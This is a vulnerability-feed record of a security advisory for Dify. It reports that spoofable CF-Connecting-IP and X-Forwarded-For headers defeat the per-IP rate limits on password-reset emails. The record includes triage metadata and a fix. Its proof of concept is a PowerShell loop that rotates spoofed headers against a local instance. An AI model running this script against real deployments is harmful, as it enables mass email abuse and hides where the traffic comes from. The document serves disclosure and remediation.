{"id":"GHSA-6j8g-rp8v-55vr","kind":"vulnerability","aliases":["GHSA-6j8g-rp8v-55vr"],"related":[],"title":"Per-IP Rate Limit Bypass via Spoofable X-Forwarded-For and CF-Connecting-IP Headers","description":"## Summary\r\n \r\n`extract_remote_ip()` returns a client-supplied header value as the client IP. Every per-IP rate limiter uses this value as the bucket key. An unauthenticated attacker rotates the header on each request and gets a fresh bucket every time. The per-IP rate limit stops working.\r\n \r\n## Details\r\n \r\n### 1. Client controls the IP value\r\n \r\n`api/libs/helper.py:402-408`:\r\n \r\n```python\r\ndef extract_remote_ip(request):\r\n    if request.headers.get(\"CF-Connecting-IP\"):\r\n        return request.headers.get(\"CF-Connecting-IP\")       # attacker-supplied\r\n    elif request.headers.getlist(\"X-Forwarded-For\"):\r\n        return request.headers.getlist(\"X-Forwarded-For\")[0]  # leftmost = attacker-supplied\r\n    else:\r\n        return request.remote_addr\r\n```\r\n \r\nThe default Docker deployment does not use Cloudflare. nginx does not strip `CF-Connecting-IP`. Any client can set this header.\r\n \r\nWhen `CF-Connecting-IP` is absent, the function reads `X-Forwarded-For[0]`. `docker/nginx/proxy.conf.template:4` uses `$proxy_add_x_forwarded_for` which appends the real IP. The attacker-supplied value stays at index 0.\r\n \r\n`api/extensions/ext_proxy_fix.py` sets `ProxyFix(app.wsgi_app, x_port=1)`. `x_for` is not set. Werkzeug does not sanitise the header.\r\n \r\n### 2. Rate limiters depend on this value\r\n \r\n`api/libs/rate_limit.py:61`:\r\n \r\n```python\r\nreturn f\"ip:{extract_remote_ip(request) or 'unknown'}\"\r\n```\r\n \r\n`api/services/account_service.py:959`:\r\n \r\n```python\r\nminute_key = f\"email_send_ip_limit_minute:{ip_address}\"\r\n```\r\n \r\nRotating the header rotates the bucket key. The limit never triggers.\r\n \r\n### 3. Other handlers validate properly\r\n \r\nLogin failure lockout keys by email (`account_service.py:845`). Password-reset verification keys by email (`account_service.py:873`). Email-code login uses a per-token Lua attempt budget (`email_code_login_challenge.py:52`). The per-IP send limit is the only limiter without a non-spoofable fallback.\r\n \r\n## PoC\r\n \r\nTested on Dify 1.17.1, default `docker compose` deployment, no configuration changes.\r\n \r\n```bash\r\ngit clone https://github.com/langgenius/dify.git\r\ncd dify/docker && cp .env.example .env && docker compose up -d\r\n```\r\n \r\n### Phase A — Fixed IP (rate limit works)\r\n \r\n70 requests with `X-Forwarded-For: 203.0.113.7`. Each request uses a unique email to isolate the IP limit from the per-email limit.\r\n \r\n```powershell\r\n$ok=0; $blocked=0\r\nfor ($i=1; $i -le 70; $i++) {\r\n  $body = '{\"email\":\"probe' + $i + '@example.com\",\"language\":\"en-US\"}'\r\n  try {\r\n    Invoke-WebRequest -Uri http://localhost/console/api/forgot-password `\r\n      -Method POST -ContentType \"application/json\" `\r\n      -Headers @{\"X-Forwarded-For\"=\"203.0.113.7\"} `\r\n      -Body $body -UseBasicParsing | Out-Null\r\n    $ok++\r\n  } catch { $blocked++ }\r\n}\r\nWrite-Host \"PHASE A: ok=$ok blocked=$blocked\"\r\n```\r\n \r\nResult: `ok=0  blocked=70` — all rejected with HTTP 429.\r\n \r\n### Phase B — Rotating XFF (rate limit bypassed)\r\n \r\n70 requests with a random `X-Forwarded-For` per request. Each request uses a unique email.\r\n \r\n```powershell\r\n$ok=0; $blocked=0\r\nfor ($i=1; $i -le 70; $i++) {\r\n  $xff = \"10.$(Get-Random -Max 255).$(Get-Random -Max 255).$(Get-Random -Min 1 -Max 254)\"\r\n  $body = '{\"email\":\"test' + $i + '@example.com\",\"language\":\"en-US\"}'\r\n  try {\r\n    Invoke-WebRequest -Uri http://localhost/console/api/forgot-password `\r\n      -Method POST -ContentType \"application/json\" `\r\n      -Headers @{\"X-Forwarded-For\"=$xff} `\r\n      -Body $body -UseBasicParsing | Out-Null\r\n    $ok++\r\n  } catch { $blocked++ }\r\n}\r\nWrite-Host \"PHASE B: ok=$ok blocked=$blocked\"\r\n```\r\n \r\nResult: `ok=70  blocked=0` — all passed with HTTP 200.\r\n \r\nRotating the header defeated the rate limit completely. No other variable changed between Phase A and Phase B.\r\n \r\n## Impact\r\n \r\nAn unauthenticated attacker bypasses EMAIL_SEND_IP_LIMIT_PER_MINUTE (default 50) by rotating the header on each request. This allows sending password-reset emails to 10,000 different addresses in under 5 minutes. Incident response teams cannot trace the real source.\r\n \r\nAccount takeover is not possible through this bypass alone. Password-reset code verification is keyed by email, not by IP.\r\n \r\nAffected endpoints: `POST /console/api/forgot-password` (tested), `POST /api/forgot-password`, `GET /openapi/oauth/device/lookup`, and all login failure logging.\r\n \r\n## Recommended fix\r\n \r\nAdd `x_for=1` to `ProxyFix`:\r\n \r\n```python\r\n# api/extensions/ext_proxy_fix.py\r\napp.wsgi_app = ProxyFix(app.wsgi_app, x_for=1, x_port=1)\r\n```\r\n \r\nStrip `CF-Connecting-IP` in nginx for non-Cloudflare deployments:\r\n \r\n```nginx\r\nproxy_set_header CF-Connecting-IP \"\";\r\nproxy_set_header X-Forwarded-For $remote_addr;\r\n```","summary":"Dify takes the client IP from the attacker-controlled CF-Connecting-IP or X-Forwarded-For header and uses it as the rate-limit key. An unauthenticated attacker who rotates these headers gets a fresh bucket per request and can send far more password-reset and similar emails than the per-IP limit allows.","severity":"medium","cvss":6.5,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"langgenius/dify","fixed":["1.18.0"],"affected":"<= 1.17.1","ecosystem":"pypi"}],"ecosystems":["pypi"],"tags":["ai-tooling","cwe-348","dify","docker","python","self-hosted"],"not_affected_if":["default-config","managed-hosting"],"how_to_check":"- Check the Dify version with `docker compose ps` and the image tag in `docker/.env`; versions `1.17.1` and earlier are affected.\n- Check whether `api/extensions/ext_proxy_fix.py` contains `ProxyFix(app.wsgi_app, x_port=1)` without `x_for=1`.\n- Check whether nginx passes client-supplied `CF-Connecting-IP` through in `docker/nginx/proxy.conf.template`.","fix":"- Dify: upgrade to `1.18.0`.\n- Maintainer's suggested mitigation: add `x_for=1` to ProxyFix and strip `CF-Connecting-IP` in nginx for non-Cloudflare deployments (unverified by InfraStack).","status":"open","published_at":"2026-11-14T18:08:04+00:00","first_seen_at":"2026-11-14T18:15:21+00:00","triaged_at":"2026-11-14T18:15:31+00:00","updated_at":"2026-11-14T18:15:31+00:00","category":"ai-tooling","confidence":0.8,"triage":{"at":"2026-11-14T18:15:31Z","model":"claude-haiku-5-5","output":{"fix":"- Dify: upgrade to `1.18.0`.\n- Maintainer's suggested mitigation: add `x_for=1` to ProxyFix and strip `CF-Connecting-IP` in nginx for non-Cloudflare deployments (unverified by InfraStack).","reach":"internet","title":"Dify: spoofed client IP headers defeat per-IP rate limits on password resets","impact":"low","summary":"Dify takes the client IP from the attacker-controlled CF-Connecting-IP or X-Forwarded-For header and uses it as the rate-limit key. An unauthenticated attacker who rotates these headers gets a fresh bucket per request and can send far more password-reset and similar emails than the per-IP limit allows.","audience":"businesses","category":"ai-tooling","nicknames":[],"who_cares":["dify","self-hosted","python","docker"],"confidence":0.8,"fix_status":"available","needs_auth":"no","worst_case":"Attacker sends unlimited password-reset emails, bypassing per-IP limits","analyst_note":"","how_to_check":"- Check the Dify version with `docker compose ps` and the image tag in `docker/.env`; versions `1.17.1` and earlier are affected.\n- Check whether `api/extensions/ext_proxy_fix.py` contains `ProxyFix(app.wsgi_app, x_port=1)` without `x_for=1`.\n- Check whether nginx passes client-supplied `CF-Connecting-IP` through in `docker/nginx/proxy.conf.template`.","plain_action":"","product_name":"","needs_analyst":false,"not_affected_if":["managed-hosting","default-config"],"who_is_affected":"Self-hosted Dify deployments at version 1.17.1 or earlier are exposed, since the default Docker deployment does not strip CF-Connecting-IP and ProxyFix trusts X-Forwarded-For[0]. Teams using Dify Cloud or a Cloudflare-fronted deployment that overwrites these headers are not affected in the same way. Account takeover is not shown to follow from this bypass alone, because reset codes are keyed by email.","user_interaction":"no","product_ecosystem":"","needs_special_setup":"no","severity_if_unknown":"medium"},"cost_usd":0.001042,"input_tokens":6573,"output_tokens":770,"severity_before":"medium"},"analyst_status":null,"analyst_note":null,"search":"'-348':34B '-408':162C '/langgenius/dify.git':392C '0':196C,241C,263C,436C,438C,491C,525C,527C,601C '000':654C '1':154C,271C,441C,530C,551C '1.17.1':379C '10':536C,653C '2':283C '200':606C '203.0.113.7':416C,470C '254':553C '255':541C,546C '3':326C '4':243C '402':161C '429':498C '5':659C '50':637C '55vr':23A,28A '61':291C '6j8g':21A,26A '70':409C,444C,493C,506C,533C,599C '959':303C 'absent':233C 'account_service.py:845':337C 'account_service.py:873':345C 'add':246C 'addr':204C 'address':314C,656C 'ai':31B 'ai-tool':30B 'allow':100B,646C 'api/extensions/ext_proxy_fix.py':264C 'api/libs/helper.py':160C 'api/libs/rate_limit.py':290C 'api/services/account_service.py':302C 'app':268C 'app.wsgi':267C 'append':251C 'application/json':464C,572C 'attack':49B,72B,131C,182C,199C,257C,628C 'attacker-control':48B 'attacker-suppli':181C,198C,256C 'attempt':356C 'b':500C,592C,624C 'bash':387C 'block':437C,479C,487C,488C,492C,526C,587C,595C,596C,600C 'bodi':446C,471C,472C,554C,579C,580C 'bucket':80B,127C,142C,320C 'budget':357C 'bypass':6A,505C,629C 'catch':478C,586C 'cd':393C 'cf':15A,52B,172C,178C,218C,229C 'cf-connecting-ip':14A,51B,171C,177C,217C,228C 'chang':386C,618C 'client':44B,108C,114C,155C,222C 'client-suppli':107C 'clone':389C 'cloudflar':212C 'code':348C 'complet':614C 'compos':382C,399C 'configur':385C 'connect':16A,53B,173C,179C,219C,230C 'contenttyp':463C,571C 'control':50B,156C 'cp':395C 'cwe':33B 'd':401C 'def':164C 'default':206C,380C,636C 'defeat':610C 'depend':286C 'deploy':208C,383C 'detail':153C 'differ':655C 'difi':35B,41B,378C 'dify/docker':394C 'docker':36B,207C,381C,398C 'docker/nginx/proxy.conf.template':242C 'elif':184C 'els':201C 'email':93B,308C,336C,344C,347C,422C,432C,447C,522C,555C,630C,651C 'email-cod':346C 'email_code_login_challenge.py:52':358C 'en':453C,561C 'en-us':452C,560C 'env':397C 'env.example':396C 'everi':116C,143C 'example.com':450C,558C 'extract':102C,165C,296C 'f':294C,307C 'failur':332C 'fallback':374C 'far':86B 'fix':404C 'forward':11A,58B,188C,194C,239C,248C,414C,468C,513C,576C 'fresh':79B,141C 'function':235C 'get':77B,139C,538C,543C,548C 'get-random':537C,542C,547C 'ghsa':20A,25A 'ghsa-6j8g-rp8v-55vr':19A,24A 'git':388C 'github.com':391C 'github.com/langgenius/dify.git':390C 'handler':328C 'header':18A,60B,76B,110C,134C,226C,282C,317C,465C,573C,609C,641C 'host':40B,482C,590C 'http':497C,605C 'impact':625C 'inc':661C 'index':262C 'invok':457C,565C 'invoke-webrequest':456C,564C 'ip':3A,17A,45B,54B,98B,104C,115C,119C,148C,158C,167C,174C,180C,220C,231C,254C,295C,298C,310C,313C,362C,405C,426C,632C 'isol':424C 'key':69B,128C,306C,321C,334C,342C 'langgenius/dify':29A 'languag':451C,559C 'le':443C,532C 'leftmost':197C 'limit':5A,68B,99B,121C,150C,285C,311C,323C,364C,368C,407C,427C,433C,504C,613C,633C 'localhost/console/api/forgot-password':460C,568C 'lockout':333C 'login':331C,349C 'lua':355C 'max':540C,545C,552C 'method':461C,569C 'min':550C 'minut':305C,312C,635C,660C 'never':324C 'nginx':213C 'non':372C 'non-spoof':371C 'null':476C,584C 'ok':435C,477C,485C,486C,490C,524C,585C,593C,594C,598C 'out-nul':474C,582C 'pass':603C 'password':89B,339C,649C 'password-reset':88B,338C,648C 'per':2A,81B,97B,118C,147C,353C,361C,431C,515C,634C 'per-email':430C 'per-ip':1A,96B,117C,146C,360C 'per-token':352C 'phase':402C,483C,499C,591C,620C,623C 'poc':375C 'port':270C 'post':462C,570C 'powershel':434C,523C 'probe':448C 'proper':330C 'proxi':245C 'proxyfix':266C 'python':37B,163C,292C,304C 'random':510C,539C,544C,549C 'rate':4A,67B,120C,149C,284C,406C,503C,612C 'rate-limit':66B 'read':236C 'real':253C 'reject':495C 'remot':103C,166C,297C 'request':82B,137C,168C,299C,410C,418C,507C,516C,518C,644C 'request.headers.get':170C,176C 'request.headers.getlist':185C,191C 'request.remote':203C 'reset':90B,340C,650C 'result':489C,597C 'return':105C,175C,190C,202C,293C 'rotat':74B,132C,315C,318C,501C,607C,639C 'rp8v':22A,27A 'sanitis':280C 'self':39B 'self-host':38B 'send':85B,309C,363C,631C,647C 'set':224C,265C,276C 'similar':92B 'spoofabl':8A,373C 'stay':260C 'stop':151C 'strip':216C 'summari':101C 'suppli':109C,183C,200C,258C 'take':42B 'test':376C,556C 'time':144C 'token':354C 'tool':32B 'tri':455C,563C 'trigger':325C 'unauthent':71B,130C,627C 'uniqu':421C,521C 'unknown':301C 'uri':459C,567C 'us':454C,562C 'use':62B,122C,211C,244C,350C,419C,519C 'usebasicpars':473C,581C 'valid':329C 'valu':111C,124C,159C,259C,289C 'variabl':617C 'verif':341C 'via':7A 'webrequest':458C,566C 'werkzeug':277C 'without':369C 'work':152C,408C 'write':481C,589C 'write-host':480C,588C 'x':10A,57B,187C,193C,238C,247C,269C,272C,413C,467C,512C,575C 'x-forwarded-for':9A,56B,186C,192C,237C,412C,466C,511C,574C 'xff':502C,535C,578C","nicknames":[],"mitigations":[],"who_affected":"Self-hosted Dify deployments at version 1.17.1 or earlier are exposed, since the default Docker deployment does not strip CF-Connecting-IP and ProxyFix trusts X-Forwarded-For[0]. Teams using Dify Cloud or a Cloudflare-fronted deployment that overwrites these headers are not affected in the same way. Account takeover is not shown to follow from this bypass alone, because reset codes are keyed by email.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"businesses","plain_action":null,"pkeys":["langgeniusdify"],"ptokens":["dify","langgenius"],"labels":["aitooling","cwe348","dify","docker","medium","pypi","python","selfhosted"],"campaign_type":null,"search_a":"'55vr':23A,28A '6j8g':21A,26A 'bypass':6A 'cf':15A 'cf-connecting-ip':14A 'connect':16A 'forward':11A 'ghsa':20A,25A 'ghsa-6j8g-rp8v-55vr':19A,24A 'header':18A 'ip':3A,17A 'langgenius/dify':29A 'limit':5A 'per':2A 'per-ip':1A 'rate':4A 'rp8v':22A,27A 'spoofabl':8A 'via':7A 'x':10A 'x-forwarded-for':9A","search_b":"'-348':34B 'ai':31B 'ai-tool':30B 'allow':100B 'attack':49B,72B 'attacker-control':48B 'bucket':80B 'cf':52B 'cf-connecting-ip':51B 'client':44B 'connect':53B 'control':50B 'cwe':33B 'difi':35B,41B 'docker':36B 'email':93B 'far':86B 'forward':58B 'fresh':79B 'get':77B 'header':60B,76B 'host':40B 'ip':45B,54B,98B 'key':69B 'limit':68B,99B 'password':89B 'password-reset':88B 'per':81B,97B 'per-ip':96B 'python':37B 'rate':67B 'rate-limit':66B 'request':82B 'reset':90B 'rotat':74B 'self':39B 'self-host':38B 'send':85B 'similar':92B 'take':42B 'tool':32B 'unauthent':71B 'use':62B 'x':57B 'x-forwarded-for':56B","search_c":"'-408':162C '/langgenius/dify.git':392C '0':196C,241C,263C,436C,438C,491C,525C,527C,601C '000':654C '1':154C,271C,441C,530C,551C '1.17.1':379C '10':536C,653C '2':283C '200':606C '203.0.113.7':416C,470C '254':553C '255':541C,546C '3':326C '4':243C '402':161C '429':498C '5':659C '50':637C '61':291C '70':409C,444C,493C,506C,533C,599C '959':303C 'absent':233C 'account_service.py:845':337C 'account_service.py:873':345C 'add':246C 'addr':204C 'address':314C,656C 'allow':646C 'api/extensions/ext_proxy_fix.py':264C 'api/libs/helper.py':160C 'api/libs/rate_limit.py':290C 'api/services/account_service.py':302C 'app':268C 'app.wsgi':267C 'append':251C 'application/json':464C,572C 'attack':131C,182C,199C,257C,628C 'attacker-suppli':181C,198C,256C 'attempt':356C 'b':500C,592C,624C 'bash':387C 'block':437C,479C,487C,488C,492C,526C,587C,595C,596C,600C 'bodi':446C,471C,472C,554C,579C,580C 'bucket':127C,142C,320C 'budget':357C 'bypass':505C,629C 'catch':478C,586C 'cd':393C 'cf':172C,178C,218C,229C 'cf-connecting-ip':171C,177C,217C,228C 'chang':386C,618C 'client':108C,114C,155C,222C 'client-suppli':107C 'clone':389C 'cloudflar':212C 'code':348C 'complet':614C 'compos':382C,399C 'configur':385C 'connect':173C,179C,219C,230C 'contenttyp':463C,571C 'control':156C 'cp':395C 'd':401C 'def':164C 'default':206C,380C,636C 'defeat':610C 'depend':286C 'deploy':208C,383C 'detail':153C 'differ':655C 'difi':378C 'dify/docker':394C 'docker':207C,381C,398C 'docker/nginx/proxy.conf.template':242C 'elif':184C 'els':201C 'email':308C,336C,344C,347C,422C,432C,447C,522C,555C,630C,651C 'email-cod':346C 'email_code_login_challenge.py:52':358C 'en':453C,561C 'en-us':452C,560C 'env':397C 'env.example':396C 'everi':116C,143C 'example.com':450C,558C 'extract':102C,165C,296C 'f':294C,307C 'failur':332C 'fallback':374C 'fix':404C 'forward':188C,194C,239C,248C,414C,468C,513C,576C 'fresh':141C 'function':235C 'get':139C,538C,543C,548C 'get-random':537C,542C,547C 'git':388C 'github.com':391C 'github.com/langgenius/dify.git':390C 'handler':328C 'header':110C,134C,226C,282C,317C,465C,573C,609C,641C 'host':482C,590C 'http':497C,605C 'impact':625C 'inc':661C 'index':262C 'invok':457C,565C 'invoke-webrequest':456C,564C 'ip':104C,115C,119C,148C,158C,167C,174C,180C,220C,231C,254C,295C,298C,310C,313C,362C,405C,426C,632C 'isol':424C 'key':128C,306C,321C,334C,342C 'languag':451C,559C 'le':443C,532C 'leftmost':197C 'limit':121C,150C,285C,311C,323C,364C,368C,407C,427C,433C,504C,613C,633C 'localhost/console/api/forgot-password':460C,568C 'lockout':333C 'login':331C,349C 'lua':355C 'max':540C,545C,552C 'method':461C,569C 'min':550C 'minut':305C,312C,635C,660C 'never':324C 'nginx':213C 'non':372C 'non-spoof':371C 'null':476C,584C 'ok':435C,477C,485C,486C,490C,524C,585C,593C,594C,598C 'out-nul':474C,582C 'pass':603C 'password':339C,649C 'password-reset':338C,648C 'per':118C,147C,353C,361C,431C,515C,634C 'per-email':430C 'per-ip':117C,146C,360C 'per-token':352C 'phase':402C,483C,499C,591C,620C,623C 'poc':375C 'port':270C 'post':462C,570C 'powershel':434C,523C 'probe':448C 'proper':330C 'proxi':245C 'proxyfix':266C 'python':163C,292C,304C 'random':510C,539C,544C,549C 'rate':120C,149C,284C,406C,503C,612C 'read':236C 'real':253C 'reject':495C 'remot':103C,166C,297C 'request':137C,168C,299C,410C,418C,507C,516C,518C,644C 'request.headers.get':170C,176C 'request.headers.getlist':185C,191C 'request.remote':203C 'reset':340C,650C 'result':489C,597C 'return':105C,175C,190C,202C,293C 'rotat':132C,315C,318C,501C,607C,639C 'sanitis':280C 'send':309C,363C,631C,647C 'set':224C,265C,276C 'spoofabl':373C 'stay':260C 'stop':151C 'strip':216C 'summari':101C 'suppli':109C,183C,200C,258C 'test':376C,556C 'time':144C 'token':354C 'tri':455C,563C 'trigger':325C 'unauthent':130C,627C 'uniqu':421C,521C 'unknown':301C 'uri':459C,567C 'us':454C,562C 'use':122C,211C,244C,350C,419C,519C 'usebasicpars':473C,581C 'valid':329C 'valu':111C,124C,159C,259C,289C 'variabl':617C 'verif':341C 'webrequest':458C,566C 'werkzeug':277C 'without':369C 'work':152C,408C 'write':481C,589C 'write-host':480C,588C 'x':187C,193C,238C,247C,269C,272C,413C,467C,512C,575C 'x-forwarded-for':186C,192C,237C,412C,466C,511C,574C 'xff':502C,535C,578C","cause_entry":null,"cause_path":null,"disclosures_checked_at":null,"first_public_at":"2026-11-14T18:08:04+00:00","kev":null,"cvss_vector":null,"cvss_by":null,"poc_count":0,"sources":[{"source":"ghsa-repo","external_id":"GHSA-6j8g-rp8v-55vr","url":"https://github.com/langgenius/dify/security/advisories/GHSA-6j8g-rp8v-55vr","severity":"medium","published_at":"2026-11-14T18:08:04+00:00","modified_at":"2026-11-14T18:08:04+00:00","first_seen_at":"2026-11-14T18:15:21+00:00","fetched_at":"2026-11-14T18:45:27+00:00","note":null}],"documents":[{"id":157429,"url":"https://github.com/langgenius/dify/security/advisories/GHSA-6j8g-rp8v-55vr","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa-repo","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"}],"disclosures":[],"exploit_sources":[],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}